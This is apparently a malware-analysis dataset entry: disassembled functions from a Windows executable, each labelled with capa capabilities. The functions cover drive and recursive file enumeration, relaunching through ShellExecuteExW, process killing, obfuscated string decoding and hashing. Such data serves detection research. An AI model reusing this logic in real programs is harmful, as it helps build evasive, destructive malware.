joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404816
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 4]
push eax
push ecx
push 0x8ce45930
push 0x39
push 0x4125e8
xor ebx, ebx
call fcn.00408770
add esp, 0x10
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x40488a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0xd339e6ed
push 9
push 0x412624
mov dword [ebp - 8], 4
call fcn.00408770
add esp, 0xc
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404881
cmp dword [ebp - 0xc], ebx
setne bl
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret

Function at 0x40488f
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push ebx
push esi
xor ebx, ebx
push 0x118
lea eax, [ebp - 0x15c]
push ebx
push eax
mov dword [ebp - 0x160], ebx
call sub.ntdll.dll_memset
add esp, 0xc
lea esi, [ebp - 0x160]
call fcn.00409a19
cmp dword [ebp - 0x15c], 6
jb 0x404957
mov byte [ebp - 1], 1
call fcn.00404816
test al, al
jne 0x404952
push 0x38
lea eax, [ebp - 0x3c]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0xde533683
push 5
push 0x412238
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0xc400
call fcn.00408770
add esp, 0xc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0x42e788
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x24], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40493d
cmp dword [ebp - 8], ebx
je 0x40493d
mov byte [ebp - 1], bl
call fcn.004047b6
test al, al
je 0x40494d
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp byte [ebp - 1], bl
je 0x404957
call fcn.004026b1
pop esi
pop ebx
leave
ret
Function at 0x404dde
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push dword [ebp + 8]
mov eax, edi
call fcn.00404dac
xor ebx, ebx
pop ecx
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404e39
push ebx
push ebx
push 1
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404e31
push ebx
lea eax, [ebp - 8]
push eax
push dword [edi + 0xc]
push dword [edi + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.00403fa9
pop ecx
call fcn.004087bc
mov esi, dword [ebp - 4]
call fcn.004060d7
pop esi
pop ebx
leave
ret

Function at 0x405462
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x80000002
mov dword [ebp - 0x14], 0x80000001
xor esi, esi
lea eax, [ebp - 8]
push eax
push 0x20019
push edi
push ecx
push 0xe33e91ef
push 0x3b
push 0x4126f8
call fcn.00408770
add esp, 0x10
push eax
push dword [ebp + esi*4 - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4054fd
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x62e94316
push 8
push 0x412734
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], 4
call fcn.00408770
add esp, 0xc
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4054f4
cmp dword [ebp - 4], edi
je 0x4054f4
or ebx, dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 2
jb 0x405488
mov eax, ebx
pop edi
not eax
and eax, dword [ebp - 0x10]
pop esi
pop ebx
leave
ret

Function at 0x40550f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov esi, eax
cmp esi, 2
jb 0x405578
cmp esi, 3
jbe 0x405533
cmp esi, 6
jne 0x405578
push 0x208
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x405578
push 4
push ecx
push 0xcba729b5
push 4
push 0x412740
call fcn.00408770
add esp, 0x10
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x405578
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret
Function at 0x4057b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x66c
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [esp + 0x26c]
push eax
mov eax, 0x412784
call fcn.00409ee3
pop ecx
pop ecx
test al, al
je 0x40592e
push 0x250
xor ebx, ebx
lea eax, [esp + 0x18]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x26c]
push eax
mov dword [esp + 0x18], 1
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x40592e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push dword [0x42e458]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x405924
lea eax, [esp + 0x40]
call fcn.00409f0f
test al, al
jne 0x405907
test byte [esp + 0x14], 0x10
lea eax, [esp + 0x268]
je 0x405894
push dword [ebp + 8]
push eax
lea eax, [esp + 0x48]
call fcn.00409ee3
pop ecx
pop ecx
test al, al
je 0x405907
cmp dword [ebp + 0x14], ebx
je 0x405876
push dword [ebp + 0x14]
call edi
push dword [ebp + 0x14]
lea eax, [esp + 0x26c]
push dword [ebp + 0x18]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.004057b0
add esp, 0x14
jmp 0x405907
mov esi, dword [0x42eacc]
push eax
call fcn.00405108
pop ecx
test al, al
jne 0x4058bd
mov esi, dword [0x42ecf0]
lea eax, [esp + 0x268]
push eax
call fcn.00405108
pop ecx
test al, al
jne 0x405907
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
cmp eax, dword [0x42e40c]
jl 0x405907
jg 0x4058d7
cmp ecx, dword [0x42e408]
jb 0x405907
push 0x2e
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrW]
test eax, eax
je 0x405907
push dword [ebp + 0x10]
lea eax, [esp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x405920
cmp dword [ebp + 0x18], ebx
je 0x405907
push dword [ebp + 0x18]
call edi
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405821
jmp 0x405924
mov dword [esp + 0x10], ebx
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405bcd
Capabilities:
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
xor ebx, ebx
mov esi, 0x42ead8
push esi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x412788
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x42eab8], eax
mov dword [ebp - 0x20], ebx
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
push 4
push 0x2000
stosd dword es:[edi], eax
push 0x1fffffff
push ebx
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x405cdb
lea eax, [ebp - 8]
push eax
call fcn.00409ce0
pop ecx
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
call fcn.00405462
mov edi, eax
xor esi, esi
xor eax, eax
inc eax
mov ecx, esi
shl eax, cl
test edi, eax
je 0x405c96
lea eax, [esi + 0x41]
mov word [ebp - 0x10], ax
push 0x3a
pop eax
mov word [ebp - 0xe], ax
xor eax, eax
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x10]
push eax
call fcn.0040550f
pop ecx
cmp eax, 2
jb 0x405c96
cmp eax, 3
jbe 0x405c87
cmp eax, 6
jne 0x405c96
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00405935
pop ecx
pop ecx
inc esi
cmp esi, 0x1a
jl 0x405c4f
cmp byte [0x42e41f], bl
je 0x405cb6
lea eax, [ebp - 0x20]
push eax
push fcn.00405935
push ebx
call fcn.00405675
add esp, 0xc
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
push dword [ebp + 8]
sub ecx, eax
shr ecx, 4
push ecx
call fcn.00405a57
pop ecx
pop ecx
push 0x8000
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405d12
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
lea eax, [ebp - 8]
push eax
push 0x20119
xor ebx, ebx
push ebx
push dword [ebp + 8]
xor edi, edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405d9a
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push dword [ebp - 8]
call esi
test eax, eax
jne 0x405d90
mov edi, dword [ebp - 4]
push ebx
call fcn.00405fb6
mov edi, eax
pop ecx
cmp edi, ebx
je 0x405d90
lea eax, [ebp - 4]
push eax
push edi
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp - 8]
call esi
test eax, eax
je 0x405d84
mov esi, edi
call fcn.004060d7
xor edi, edi
jmp 0x405d90
mov eax, dword [ebp + 0x10]
cmp eax, ebx
je 0x405d90
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret
Function at 0x405da0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push eax
push ecx
push 0xa3b23cf5
push 0xb
push 0x41278c
mov byte [esp + 0x27], 0
call fcn.00408770
add esp, 0x10
push eax
push 0x31a7292f
push 0x1f
push 0x412798
call fcn.00408770
add esp, 0xc
push eax
call fcn.00405d12
mov ebx, eax
add esp, 0xc
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x405e9b
mov edi, dword [sym.imp.SHLWAPI.dll_StrChrW]
push 0x2d
push ebx
call edi
mov esi, eax
test esi, esi
je 0x405e92
mov ebp, dword [sym.imp.SHLWAPI.dll_StrCpyNW]
sub eax, ebx
sar eax, 1
inc eax
push eax
push ebx
lea eax, [esp + 0x20]
push eax
call ebp
mov ebx, 0x42edc0
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x2d
add esi, 2
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x405e92
sub eax, esi
sar eax, 1
inc eax
push eax
push esi
push 0x42efc8
call ebp
push 0x2d
lea esi, [ebx + 2]
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x405e92
sub eax, esi
sar eax, 1
inc eax
push eax
push esi
push 0x42ecf8
call ebp
push 0x2d
lea esi, [ebx + 2]
push esi
call edi
test eax, eax
je 0x405e92
sub eax, esi
sar eax, 1
inc eax
push eax
push esi
push 0x42f090
call ebp
mov byte [esp + 0x13], 1
mov esi, dword [esp + 0x14]
call fcn.004060d7
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret
Function at 0x4063db
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x414bf8]
push ebx
push esi
push 0xffffffffffffffd3
pop ecx
mov edx, eax
xor ebx, ebx
push ebx
movzx eax, ax
or dl, 0x25
sub cl, dl
shl dword [0x414be4], cl
push 0x222c199
push eax
mov byte [ebp - 2], 0
mov byte [ebp - 3], 0
call fcn.004061a2
sub byte [ebp - 1], al
movsx eax, byte [ebp - 1]
sub dword [0x414be4], eax
add esp, 0xc
mov eax, 0x1e3bd6a
mov ecx, 0x7e3bde
call fcn.0040633b
imul eax, eax, 0x72
xor dword [0x414be4], eax
mov al, byte [0x414be4]
mov byte [ebp - 1], al
mov word [edi + 0x100], bx
movzx eax, word [0x414c08]
push eax
call fcn.0040622f
or byte [ebp - 1], al
pop ecx
mov esi, edi
mov al, byte [0x414be4]
add al, 0x4f
xor byte [ebp - 1], al
push 0x4f6a
mov byte [esi], bl
call fcn.0040622f
inc ebx
mov eax, 0x100
inc esi
pop ecx
cmp bx, ax
jb 0x40645a
push 3
pop esi
mov eax, dword [0x414be4]
test eax, eax
jne 0x4064be
movzx ecx, byte [0x414c08]
sub cl, 0x67
shl eax, cl
movsx ecx, byte [0x414c10]
sub ecx, 0xc3
mov dword [0x414be4], eax
cmp ecx, eax
jle 0x4064be
cdq
cmp edx, dword [0x414bec]
ja 0x4064c9
jb 0x4064be
cmp eax, dword [0x414be8]
jae 0x4064c9
push 0x997f9d
call fcn.004063bb
pop ecx
dec esi
test si, si
jg 0x406480
mov ebx, edi
mov dword [ebp - 8], 0x100
mov eax, 0xb26273
mov ecx, 0x106ba3d
call fcn.0040633b
mov edx, dword [ebp + 8]
mov cl, 0x9c
imul cl
mov cl, al
movzx eax, byte [ebp - 2]
mov al, byte [eax + edx]
sar byte [ebp - 1], cl
mov cl, byte [ebx]
movsx esi, byte [ebp - 1]
sub dword [0x414be4], esi
add al, cl
add byte [ebp - 3], al
movzx eax, byte [ebp - 3]
mov dl, byte [eax + edi]
mov byte [ebx], dl
push 0x77e8
mov byte [eax + edi], cl
call fcn.0040622f
movsx eax, al
add eax, 0x2b
and esi, 0x7c
pop ecx
cmp eax, esi
jl 0x406541
mov eax, dword [0x414bf8]
push 0xffffffffffffffd5
or al, 0x25
pop ecx
sub cl, al
shl dword [0x414be4], cl
inc byte [ebp - 2]
movzx eax, byte [ebp - 2]
cmp ax, word [ebp + 0xc]
jne 0x406565
push dword [0x414bf0]
and dword [0x414be4], 0
mov byte [ebp - 2], 0
call fcn.00406298
pop ecx
mov eax, dword [0x414be8]
imul eax, dword [0x414be4]
inc ebx
dec dword [ebp - 8]
mov dword [0x414be4], eax
jne 0x4064d8
movsx ecx, byte [ebp - 1]
or eax, ecx
pop esi
mov dword [0x414be4], eax
pop ebx
leave
ret
Function at 0x406b6a
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push esi
mov esi, eax
push edi
push esi
call fcn.00409f34
pop ecx
pop ecx
test al, al
jne 0x406b7e
xor eax, eax
pop esi
ret
mov eax, edi
shr eax, 2
xor edx, edx
lea ecx, [esi + eax*4]
neg eax
je 0x406baf
mov esi, dword [ecx + eax*4]
imul esi, esi, 0xcc9e2d51
rol esi, 0xf
imul esi, esi, 0x1b873593
xor edx, esi
rol edx, 0xd
imul edx, edx, 5
add edx, 0xe6546b64
inc eax
jne 0x406b8c
mov eax, edi
and eax, 3
xor esi, esi
dec eax
je 0x406bcf
dec eax
je 0x406bc6
dec eax
jne 0x406be5
movzx esi, byte [ecx + 2]
shl esi, 0x10
movzx eax, byte [ecx + 1]
shl eax, 8
xor esi, eax
movzx eax, byte [ecx]
xor eax, esi
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, edi
mov eax, edx
shr eax, 0x10
xor eax, edx
imul eax, eax, 0x85ebca6b
mov ecx, eax
shr ecx, 0xd
xor ecx, eax
imul ecx, ecx, 0xc2b2ae35
mov eax, ecx
shr eax, 0x10
xor eax, ecx
pop esi
ret

Function at 0x406d78
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [ebp + 0x10]
xor edx, edx
mov ebx, eax
cmp esi, edx
je 0x406dad
xor eax, eax
cmp dword [ebp + 0x14], edx
jbe 0x406dad
movzx edi, byte [edx + esi]
mov ecx, eax
shl ecx, 3
shl edi, cl
xor ebx, edi
inc edx
inc eax
and eax, 3
cmp edx, dword [ebp + 0x14]
jb 0x406d96
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [ebp + 0xc], esi
jbe 0x406dc7
mov eax, ebx
call fcn.00408d42
mov byte [esi + edi], al
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x406db7
push edi
mov edi, dword [ebp + 0xc]
call fcn.00409925
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x4078fa
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push edi
mov edi, 0x42edc0
push edi
mov eax, 0x104
call fcn.00409f82
pop ecx
test al, al
jne 0x407914
xor eax, eax
pop edi
ret
push ebx
push ebp
push esi
push edi
xor ebp, ebp
call dword [sym.imp.SHLWAPI.dll_PathSkipRootW]
mov esi, eax
test esi, esi
jne 0x407928
mov esi, edi
movzx eax, word [esi]
cmp eax, 0x5c
je 0x40793a
cmp eax, 0x2f
je 0x40793a
test ax, ax
jne 0x407966
mov ebx, eax
xor eax, eax
push edi
mov word [esi], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40795a
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x40795c
test al, 0x10
je 0x40796e
test bx, bx
je 0x40796b
mov word [esi], bx
add esi, 2
jmp 0x407928
xor ebp, ebp
inc ebp
pop esi
mov eax, ebp
pop ebp
pop ebx
pop edi
ret
Function at 0x4080d7
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
call fcn.00409f34
pop ecx
pop ecx
test al, al
je 0x40818c
push 0x10
push dword [ebp + 0x10]
call fcn.00409f5b
pop ecx
pop ecx
test al, al
je 0x40818c
push dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], esi
lea esi, [ebp - 0x64]
mov dword [ebp - 0x64], 0x67452301
mov dword [ebp - 0x60], 0xefcdab89
mov dword [ebp - 0x5c], 0x98badcfe
mov dword [ebp - 0x58], 0x10325476
call fcn.00407975
lea eax, [ebp - 0x54]
push eax
push 8
pop edx
lea ecx, [ebp - 0xc]
call fcn.004080a2
pop ecx
pop ecx
mov ecx, dword [ebp - 0x54]
shr ecx, 3
push 0x38
and ecx, 0x3f
pop eax
cmp ecx, eax
jb 0x40815d
push 0x78
pop eax
sub eax, ecx
push 0x414908
lea esi, [ebp - 0x64]
call fcn.00407975
lea eax, [ebp - 0xc]
push eax
push 8
pop eax
call fcn.00407975
mov ecx, dword [ebp + 0x10]
mov eax, esi
push eax
push 0x10
pop edx
call fcn.004080a2
xor esi, esi
add esp, 0xc
inc esi
mov eax, esi
pop esi
leave
ret

Function at 0x4087f5
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push dword [ebp + 8]
mov eax, 0x104
call fcn.00409f82
pop ecx
test al, al
jne 0x408814
xor eax, eax
leave
ret
push esi
push edi
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40888a
push 0x228
lea eax, [ebp - 0x228]
push edi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
push esi
mov dword [ebp - 0x22c], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x408879
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40887f
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x408857
jmp 0x408885
mov edi, dword [ebp - 0x224]
call fcn.004087bc
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x408968
Capabilities:
Terminate process

Disassembly:
push edi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 8], eax
je 0x4089a1
push esi
push dword [esp + 0xc]
call fcn.004088b1
mov esi, eax
pop ecx
test esi, esi
je 0x4089a0
push dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, eax
neg edi
sbb edi, edi
neg edi
call fcn.004087bc
pop esi
mov eax, edi
pop edi
ret

Function at 0x4089a5
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push esi
push edi
mov edi, 0x8000
push 0
call fcn.00405fb6
mov esi, eax
pop ecx
test esi, esi
je 0x4089e1
push 0
push edi
push esi
push 5
call dword [sym.imp.ntdll.dll_ZwQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x4089d6
call fcn.004060d7
add edi, edi
jmp 0x4089ac
test eax, eax
jns 0x4089e1
call fcn.004060d7
xor esi, esi
pop edi
mov eax, esi
pop esi
ret
Function at 0x408aaf
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 0x24], 0
push edi
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor eax, eax
cmp word [ebp - 0x24], 9
pop edi
sete al
leave
ret

Function at 0x408adb
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push dword [ebp + 8]
mov eax, 0xff
call fcn.00409fd5
pop ecx
test al, al
jne 0x408afc
xor eax, eax
jmp 0x408bc8
push 0x28
push dword [ebp + 0xc]
call fcn.00409f5b
pop ecx
pop ecx
test al, al
je 0x408af5
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
xor edi, edi
mov dword [ebp - 8], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x408bc6
push edi
push 0xa0f52497
push 5
push 0x4127b8
call fcn.00408397
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
push ecx
push eax
lea ecx, [ebp - 4]
call fcn.0040972c
add esp, 0x1c
test eax, eax
je 0x408bc6
lea ecx, [ebp - 0x58]
push ecx
push eax
push dword [ebp - 4]
call fcn.0040aa01
mov edi, eax
add esp, 0xc
test edi, edi
je 0x408bbe
push 0
push 0x9bf6381b
push 0x32
push 0x4127dc
call fcn.00408397
movzx ecx, byte [ebp - 0x49]
push ecx
movzx ecx, byte [ebp - 0x4a]
push ecx
movzx ecx, byte [ebp - 0x4b]
push ecx
movzx ecx, byte [ebp - 0x4c]
push ecx
movzx ecx, byte [ebp - 0x4d]
push ecx
movzx ecx, byte [ebp - 0x4e]
push ecx
movzx ecx, byte [ebp - 0x4f]
push ecx
movzx ecx, byte [ebp - 0x50]
push ecx
movzx ecx, word [ebp - 0x52]
push ecx
movzx ecx, word [ebp - 0x54]
push ecx
push dword [ebp - 0x58]
push eax
push dword [ebp + 0xc]
call fcn.0040968f
add esp, 0x44
mov esi, dword [ebp - 4]
call fcn.004060d7
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x408ce0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push 0x110
xor esi, esi
lea eax, [ebp - 0x110]
push esi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x114], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x110], 6
jb 0x408d31
call fcn.00409a99
test eax, eax
je 0x408d3d
call fcn.00409bf6
jmp 0x408d36
call fcn.00409a99
test eax, eax
je 0x408d3d
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret
Function at 0x408da5
Capabilities:
Decode data using base64 via winapi

Disassembly:
push 0x74
push 0x412ab8
call fcn.0041008c
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], edi
push 0xe8ef48c3
push 4
push 0x412820
call fcn.00408759
add esp, 0xc
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], ebx
je 0x408ea5
cmp byte [edi], 0x2d
jne 0x408e21
push 0x9de8a7bb
push 2
push 0x412828
call fcn.00408759
add esp, 0xc
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_StrPBrkA]
cmp eax, ebx
je 0x408ea5
sub eax, edi
add edi, eax
mov dword [ebp - 0x24], edi
sub dword [ebp - 0x1c], eax
mov byte [ebp - 0x80], bl
push 0x40
push ebx
lea eax, [ebp - 0x7f]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor esi, esi
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], ebx
je 0x408e66
cmp esi, 0x40
jae 0x408e66
push dword [ebp - 0x30]
push edi
call dword [sym.imp.SHLWAPI.dll_StrSpnA]
add edi, eax
mov dword [ebp - 0x24], edi
sub dword [ebp - 0x1c], eax
je 0x408e66
mov al, byte [edi]
mov byte [ebp + esi - 0x80], al
inc esi
inc edi
mov dword [ebp - 0x24], edi
dec dword [ebp - 0x1c]
jmp 0x408e35
cmp esi, ebx
je 0x408ea5
mov dword [ebp - 0x2c], esi
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x20]
push 1
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x408ea5
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], ebx
je 0x408de5
add dword [ebp - 0x20], eax
jmp 0x408de5
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x28]
call fcn.004100c7
ret

Function at 0x408f1c
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
push 0x80000001
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x408f77
push ebx
mov ebx, dword [ebp - 4]
push esi
mov esi, ebx
test ebx, ebx
je 0x408f6c
cmp byte [edi], 0xa
je 0x408f55
inc edi
dec esi
jmp 0x408f68
dec ebx
dec esi
je 0x408f6c
push esi
lea eax, [edi + 1]
push eax
push edi
call dword [sym.imp.ntdll.dll_memmove]
add esp, 0xc
test esi, esi
jne 0x408f4c
mov eax, dword [ebp + 0x10]
mov byte [ebx + eax], 0
pop esi
mov eax, ebx
pop ebx
pop edi
leave
ret